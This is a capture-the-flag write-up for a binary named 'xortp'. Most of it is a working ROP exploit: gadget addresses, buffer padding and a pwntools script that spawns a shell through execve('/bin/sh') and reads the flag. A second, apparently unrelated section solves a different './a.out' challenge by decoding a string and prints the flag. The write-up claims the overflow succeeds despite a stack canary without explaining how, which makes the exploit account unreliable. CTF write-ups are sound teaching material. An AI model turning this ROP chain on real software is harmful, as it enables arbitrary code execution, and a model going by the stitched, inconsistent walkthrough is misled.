Writeup: xortp
Challenge Overview
This challenge involves exploiting a buffer overflow vulnerability in the “xortp” binary to gain a shell and read the flag. The exploit leverages Return-Oriented Programming (ROP) to bypass modern security protections.
Binary Analysis
The binary has the following protections:
- Architecture: amd64-64-little
- RELRO: Partial RELRO
- Stack: Canary found
- NX: NX enabled (No execution on stack)
- PIE: No PIE (fixed base address at 0x400000)
- Not stripped
The key vulnerability appears to be a buffer overflow that allows overwriting the return address despite stack canaries being enabled.
Vulnerability and Exploitation
The vulnerability is a classic buffer overflow where we can overwrite the return address. Since NX is enabled, we cannot directly execute shellcode on the stack. Instead, we use ROP to chain together existing code fragments (gadgets) to execute a system call.
Exploitation Strategy
- Overflow the buffer to control the instruction pointer
- Build a ROP chain to execute
execve("/bin/sh", 0, 0)syscall - Get a shell and read the flag
🔧 Syscall Calling Convention Reference
| Architecture | Syscall Number Reg | Argument 1 | Argument 2 | Argument 3 | Argument 4 | Argument 5 | Argument 6 | Return Value | Instruction |
|---|---|---|---|---|---|---|---|---|---|
| x86 (32-bit) | eax | ebx | ecx | edx | esi | edi | ebp | eax | int 0x80 |
| x86_64 | rax | rdi | rsi | rdx | r10 | r8 | r9 | rax | syscall |
| ARM (32-bit) | r7 | r0 | r1 | r2 | r3 | r4 | r5 | r0 | svc 0 |
| ARM64 | x8 | x0 | x1 | x2 | x3 | x4 | x5 | x0 | svc 0 |
This table is especially useful in ROP-based attacks where we construct a syscall manually by populating the appropriate registers using gadgets.
ROP Chain Details
Our goal is to execute the execve syscall (syscall number 59) with the following arguments:
rdi= pointer to “/bin/sh” string (first argument)rsi= 0 (second argument - argv, set to NULL)rdx= 0 (third argument - envp, set to NULL)rax= 59 (syscall number for execve)
We use the following ROP gadgets:
pop_rdi = 0x0000000000401f60 # Control first argument
pop_rsi = 0x000000000040f972 # Control second argument
pop_rax_rdx_rbx = 0x00000000004867a6 # Control syscall number and third argument
syscall_gadget = 0x00000000004011a2 # Execute the syscall
The string “/bin/sh” was found at address 0x00498213 in the binary.
Buffer Size
The required padding before reaching the return address is 152 bytes.
Exploit Implementation
The exploit script uses pwntools to construct and send the payload:
#!/usr/bin/env python3
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('xortp')
# ROP gadgets
pop_rax = 0x00000000004424f7
pop_rsi = 0x000000000040f972
pop_rdi = 0x0000000000401f60
pop_rax_rdx_rbx = 0x00000000004867a6
syscall_gadget = 0x00000000004011a2
addr_bin_sh = 0x00498213
# Connect to the process
io = process('./xortp') # or remote("host", port)
# Syscall parameters for execve("/bin/sh", 0, 0)
path = addr_bin_sh # First argument: path to binary
argv = 0 # Second argument: argument array (NULL)
envp = 0 # Third argument: environment variables (NULL)
syscall_num = 59 # Syscall number for execve
BUFFER = 152 # Size of buffer before return address
# Construct the payload
payload = flat(
b'A'*BUFFER, # Padding to reach return address
p64(pop_rdi), # Pop path into RDI (first argument)
p64(path), # Address of "/bin/sh" string
p64(pop_rsi), # Pop 0 into RSI (second argument)
p64(argv), # NULL for argv
p64(pop_rax_rdx_rbx), # Pop syscall number into RAX and third argument into RDX
p64(syscall_num), # Syscall number for execve (59)
p64(envp), # NULL for envp (third argument)
p64(0), # Dummy value for RBX
p64(syscall_gadget) # Execute the syscall
)
# Send the payload
io.sendline(payload)
io.sendline("id && cat flag.txt") # Run commands in the obtained shell
io.interactive()
Execution Flow
- We send a payload that fills the buffer with 152 ‘A’s to reach the return address
- The ROP chain is executed:
pop_rdigadget pops the address of “/bin/sh” into RDIpop_rsigadget pops 0 into RSIpop_rax_rdx_rbxgadget pops 59 into RAX (syscall number), 0 into RDX, and a dummy value into RBXsyscall_gadgetexecutes the syscall, which runs execve("/bin/sh", 0, 0)
- We now have a shell and can read the flag with
cat flag.txt
Flag
After gaining the shell, we can read the flag with cat flag.txt command.
String Decoding Solve
This challenge also features a hidden string in the binary, which is simply encoded by decrementing each character by 1. Here is a minimal Python script to recover the solution:
def decode_string():
encoded = "IUC|t2nqm4`gm5h`5s2uin4u2d~"
decoded = ""
for char in encoded:
decoded += chr(ord(char) - 1)
print(f"[+] Encoded string: {encoded}")
print(f"[+] Decoded string: {decoded}")
return decoded
solution = decode_string()
print("\n[*] To solve the challenge, enter this solution when prompted:")
print(f">>> {solution}")
Exploit steps:
- Run the binary:
./a.out - When prompted for the magic incantation, enter the decoded string above.
- The flag will be displayed.
Exploit Script (pwntools)
If you want to automate the process using pwntools:
from pwn import *
encoded = "IUC|t2nqm4`gm5h`5s2uin4u2d~"
decoded = ''.join([chr(ord(c)-1) for c in encoded])
p = process('./a.out')
p.recvuntil(b"magic")
p.sendline(decoded.encode())
print(p.recvall().decode())
This script will launch the binary, wait for the prompt, send the decoded string, and print the output (including the flag).
Conclusion
This challenge demonstrates a classic ROP-based exploitation technique to bypass NX protection. By chaining together existing code gadgets, we can execute arbitrary system calls without injecting executable code onto the stack.